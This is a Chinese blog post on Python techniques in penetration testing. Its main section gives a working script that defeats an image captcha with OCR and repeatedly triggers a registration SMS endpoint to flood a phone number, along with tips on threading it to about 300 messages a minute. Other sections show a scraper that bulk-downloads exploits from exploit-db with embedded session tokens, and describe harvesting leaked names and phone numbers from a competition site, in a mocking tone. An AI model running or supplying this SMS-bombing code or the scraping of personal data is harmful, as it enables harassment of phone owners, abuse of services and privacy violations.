python在渗透中的奇淫技巧

华盟原创文章投稿奖励计划

0x01

Python在渗透中的奇淫技巧很简单,爬虫啊(爬取网站中泄露的数据),注入啊(盲注跑脚本省很多时间),识别验证码(这个可能有些小白看见带验证码的不知道咋搞),今天给那些没有了解过的涨一下姿势。

python在渗透中的奇淫技巧

0x02(Python识别验证码进行短信轰炸)

看标题,这个洞就是个简单的短信轰咋,只不过就是加了个验证码验证短信轰炸总不能一个一个看验证码输入进去吧,搞安全的都要学会写脚本啊。

这个就是注册页面

python在渗透中的奇淫技巧

获取验证码处抓一下包

python在渗透中的奇淫技巧

可以看到发送验证码时,带入了图形验证码的值,当验证啊为错误时,可以看到,无法发送验证码。

python在渗透中的奇淫技巧

所以,利用python识别验证码并重复发送此数据以下是poc

#coding:utf-8

from PIL import Image

import time

from selenium import webdriver 

import pytesseract

import requests

import re

for i  in xrange(1,100):

    date = time.strftime("%Y%m%d%H%M%S",time.localtime(time.time())) 

    url = "https://127.0.0.1/register/register.jsp" #网址

    s = requests.session() #保持会话

    r = s.get(url,verify=False)

    reg = re.compile(' <img id="vcImage" alt='vcImg' src="(.*?)"'#正则获取img地址

    d = reg.findall(r.text) #截取img地址

    print(u"匹配验证码地址:")

    print (u"https://127.0.0.1/register/" + d[0])

    url_1 = u"https://127.0.0.1/register/" + d[0]

    r = s.get(url_1,verify=False)

    photo = (r.text).encode('latin1','ignore'#编码

    if r.status_code==200:

            imgname = date + '.jpg'

            print(u'下载图片'+imgname)

            with open(imgname, 'wb'as fd:

                fd.write(r.content)

            print(u"识别验证码为:")

            print pytesseract.image_to_string(imgname) #输出识别img之后的验证码

            code = pytesseract.image_to_string(imgname)

            url_2 = "https://127.0.0.1/register/sendPhoneVerifyCode.jsp?mobile_number=18888888888&imgCode=" + code

            r = s.post(url_2,verify=False)

            print (r.text)

            # time.sleep(5)

Pass

该poc利用截图

python在渗透中的奇淫技巧

这个脚本可以写个线程,大概一分钟应该一个线程能成功十几个,多写几个线程就很棒了

python在渗透中的奇淫技巧
算二十个线程,一分钟大概三百条

python在渗透中的奇淫技巧

下面是单线程的测试结果图:

python在渗透中的奇淫技巧

python在渗透中的奇淫技巧

python在渗透中的奇淫技巧

0x03(爬虫爬取https://www.exploit-db.com上所有CVE)

利用爬虫爬取https://www.exploit-db.com上所有cve 的名称,种类,POC并保存

python在渗透中的奇淫技巧

python在渗透中的奇淫技巧

python在渗透中的奇淫技巧

python在渗透中的奇淫技巧

python在渗透中的奇淫技巧

##coding:utf-8

import requests

import re

import json

import os

import time

import eventlet

system_dir = '/root/CVE/'

def mkdir(path):

    import os

    path=path.strip()

    path=path.rstrip("\")

    isExists=os.path.exists(path)

    if not isExists:

        os.makedirs(path) 

 

        print path+' is OK!'

        return True

    else:

        print path+' is exist'

        return False

def cd(path):

       os.chdir(path)

# data = {

#        'CookieConsent': '{stamp:%27-1%27%2Cnecessary:true%2Cpreferences:true%2Cstatistics:true%2Cmarketing:true%2Cver:1%2Cutc:1604738938791%2Cregion:%27CN%27}',

#        '_ga': 'GA1.3.961433315.1604738940',

#        '_gid': 'GA1.3.336160364.1604738940',

#        '_gat': '1',

#        'XSRF-TOKEN': 'eyJpdiI6ImkzY1VHU3JKeEdCczVFeURcL2xENmx3PT0iLCJ2YWx1ZSI6IlUrXC9LcnFTTnlNRUprZldhM281MDRaNFRydFhNZEJrTThIWkJkZXVuWTlVNzVKMGFPb2ErMmlnWlJPRGpuOHRrIiwibWFjIjoiODA4ZWMwYzg2YTkxMWNkMWUyMTJjNDRlN2JjMzQzYmY2MjYzZjYzOTI4NTlmMWQ4YzEwODViMWQ0MTNkMjFiYyJ9; exploit_database_session=eyJpdiI6ImkrRUd1eW1vVmFvcEE1dTlXR0pMWHc9PSIsInZhbHVlIjoiU1BWSXNnRUlHUDB2SU1neTFjcGpUb1gxZWU4S3V0QVkzUkRrMlhTZ2xSZWVlaUV2OWdUR1wvNU9pMm5zUUc3a3QiLCJtYWMiOiI5ZDEzNmRjYTE5NzcyZGY4NTc0MmU2MzllZTAzYjBmZmY4ODdkZTFkYmZjODFkOWEwOWI0ZTViYzQ0OTgwMWU4In0%3D'

# }

headers = {

       'Host': 'www.exploit-db.com',

       'Connection': 'close',

       'Accept': 'application/json, text/javascript, */*; q=0.01',

       'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36',

       'X-Requested-With': 'XMLHttpRequest',

       'Sec-Fetch-Site': 'same-origin',

       'Sec-Fetch-Mode': 'cors',

       'Sec-Fetch-Dest': 'empty',

       'Referer': 'https://www.exploit-db.com/',

       'Accept-Encoding': 'gzip, deflate',

       'Accept-Language': 'zh-CN,zh;q=0.9',

       'CookieConsent': '{stamp:%27-1%27%2Cnecessary:true%2Cpreferences:true%2Cstatistics:true%2Cmarketing:true%2Cver:1%2Cutc:1604738938791%2Cregion:%27CN%27}',

       '_ga': 'GA1.3.961433315.1604738940',

       '_gid': 'GA1.3.336160364.1604738940',

       '_gat': '1',

       'XSRF-TOKEN': 'eyJpdiI6ImkzY1VHU3JKeEdCczVFeURcL2xENmx3PT0iLCJ2YWx1ZSI6IlUrXC9LcnFTTnlNRUprZldhM281MDRaNFRydFhNZEJrTThIWkJkZXVuWTlVNzVKMGFPb2ErMmlnWlJPRGpuOHRrIiwibWFjIjoiODA4ZWMwYzg2YTkxMWNkMWUyMTJjNDRlN2JjMzQzYmY2MjYzZjYzOTI4NTlmMWQ4YzEwODViMWQ0MTNkMjFiYyJ9; exploit_database_session=eyJpdiI6ImkrRUd1eW1vVmFvcEE1dTlXR0pMWHc9PSIsInZhbHVlIjoiU1BWSXNnRUlHUDB2SU1neTFjcGpUb1gxZWU4S3V0QVkzUkRrMlhTZ2xSZWVlaUV2OWdUR1wvNU9pMm5zUUc3a3QiLCJtYWMiOiI5ZDEzNmRjYTE5NzcyZGY4NTc0MmU2MzllZTAzYjBmZmY4ODdkZTFkYmZjODFkOWEwOWI0ZTViYzQ0OTgwMWU4In0%3D'

}

for n in range(0,361):

       eventlet.monkey_patch()#必须加这条代码

       with eventlet.Timeout(5,False): #如果超过5秒,则退出

              url = 'https://www.exploit-db.com/?draw=4&columns%5B0%5D%5Bdata%5D=date_published&columns%5B0%5D%5Bname%5D=date_published&columns%5B0%5D%5Bsearchable%5D=true&columns%5B0%5D%5Borderable%5D=true&columns%5B0%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B0%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B1%5D%5Bdata%5D=download&columns%5B1%5D%5Bname%5D=download&columns%5B1%5D%5Bsearchable%5D=false&columns%5B1%5D%5Borderable%5D=false&columns%5B1%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B1%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B2%5D%5Bdata%5D=application_md5&columns%5B2%5D%5Bname%5D=application_md5&columns%5B2%5D%5Bsearchable%5D=true&columns%5B2%5D%5Borderable%5D=false&columns%5B2%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B2%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B3%5D%5Bdata%5D=verified&columns%5B3%5D%5Bname%5D=verified&columns%5B3%5D%5Bsearchable%5D=true&columns%5B3%5D%5Borderable%5D=false&columns%5B3%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B3%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B4%5D%5Bdata%5D=description&columns%5B4%5D%5Bname%5D=description&columns%5B4%5D%5Bsearchable%5D=true&columns%5B4%5D%5Borderable%5D=false&columns%5B4%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B4%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B5%5D%5Bdata%5D=type_id&columns%5B5%5D%5Bname%5D=type_id&columns%5B5%5D%5Bsearchable%5D=true&columns%5B5%5D%5Borderable%5D=false&columns%5B5%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B5%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B6%5D%5Bdata%5D=platform_id&columns%5B6%5D%5Bname%5D=platform_id&columns%5B6%5D%5Bsearchable%5D=true&columns%5B6%5D%5Borderable%5D=false&columns%5B6%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B6%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B7%5D%5Bdata%5D=author_id&columns%5B7%5D%5Bname%5D=author_id&columns%5B7%5D%5Bsearchable%5D=false&columns%5B7%5D%5Borderable%5D=false&columns%5B7%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B7%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B8%5D%5Bdata%5D=code&columns%5B8%5D%5Bname%5D=code.code&columns%5B8%5D%5Bsearchable%5D=true&columns%5B8%5D%5Borderable%5D=true&columns%5B8%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B8%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B9%5D%5Bdata%5D=id&columns%5B9%5D%5Bname%5D=id&columns%5B9%5D%5Bsearchable%5D=false&columns%5B9%5D%5Borderable%5D=true&columns%5B9%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B9%5D%5Bsearch%5D%5Bregex%5D=false&order%5B0%5D%5Bcolumn%5D=9&order%5B0%5D%5Bdir%5D=desc&start='+ str(n) +'&length=120&search%5Bvalue%5D=d&search%5Bregex%5D=false&author=&port=&type=&tag=&platform=&_=1604739136672'

              r = requests.get(url,headers=headers)

              cve_json = json.loads(r.text.decode('gb2312').encode('utf-8')) #json解析

              # print cve_json

              data = cve_json.get("data") #json数据里面的data的值

              for x in range(0,120):

                     dir_name = data[x]['type_id'] #漏洞类别 比如 DOS,WhatApps,Local,Remote

                     description = data[x]['description'][1] #漏洞名称

                     description = re.sub("[/,,*,',",*,<,>,:,?,']",' ',description) #正则去掉,我一开始用的windows跑的脚本,文件名有这些的话会报错,所以写了个正则替换

                     method = data[x]['platform']['platform'] #漏洞环境 如 PHP,ASPX,JSON,JAVA等。。

                     id = data[x]['id'] #文件下载的id

                     print "ID id :" + id

                     name = time.strftime("%Y-%m-%d-%H-%M-%S", time.localtime()) + id + '.txt' #定义保存下来的文件名

                     mkdir(dir_name)

                     cd(dir_name)

                     mkdir(method)

                     cd(method)

                     mkdir(description)

                     print time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())

                     cd(description)

                     download_url = 'https://www.exploit-db.com/download/' + id

                     cve_txt = requests.get(download_url,headers=headers)

                     with open(name, "wb") as code:

                            code.write(cve_txt.content)

                     print time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())

                     print "NOW :   " + str(x) + 'n PAGE : ' + str(n)

                     cd(system_dir) #返回脚本所在目录

              print "ERROR-" * 40 #超过五秒则输出

插入的感觉不是特别好

python在渗透中的奇淫技巧
先凑活着看吧,这些代码应该不是很难:

python在渗透中的奇淫技巧

这个自定义一个函数,用来创建文件夹:

python在渗透中的奇淫技巧
这个太懒了,直接也写了个函数,看名字应该就知道啥意思了:

python在渗透中的奇淫技巧

python在渗透中的奇淫技巧
这就是个文件头

python在渗透中的奇淫技巧

python在渗透中的奇淫技巧
这句就是设定时间,如果超过5秒就退出用的时候要引用eventlet包

python在渗透中的奇淫技巧
其他的应该就不是很难了哎,作为一个苦逼的码农,最烦的就是写注释当然还有别人不写注释

python在渗透中的奇淫技巧

0x04(再看这一个信息泄露的)

python在渗透中的奇淫技巧

这是某个比赛的直接给出了队名,手机号,和姓名

python在渗透中的奇淫技巧
看一下脚本:

python在渗透中的奇淫技巧

这能么多代码应该没什么难度就利用了一个requests模块,还有一个正则,查询返回的数据一样是JSON

python在渗透中的奇淫技巧

直接就返回了RealName,LoginName,TeamName说起这个我想起今天铁三,账号就是姓名,密码就是tiesan+手机号
手机号就中间四位给打了码姓名就打了一个字学校还给了出来这高校队伍之间打比赛的打这么长时间不认识吗?

python在渗透中的奇淫技巧

再看这一个

python在渗透中的奇淫技巧

像这样的数据有三万条。。。数据不是特别敏感,只能说还行,如果有个手机号就好了

python在渗透中的奇淫技巧
啥时候有事了,就找哪一个专业的,哈哈哈,一问我是谁,找个跟他同班的。我真聪明

python在渗透中的奇淫技巧

python在渗透中的奇淫技巧
这个代码更简单

python在渗透中的奇淫技巧

0x05 注入(盲注)

python在渗透中的奇淫技巧

华盟知识星球入口

盲注基本上就是靠你写的sql语句,然后利用python记录时间来达到盲注效果,生气了语句写的不一样的话,二分法就会节约很多时间,亲身实践,不信的话可以自己试一试。

本文原创,作者:congtou,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/271933.html

发表评论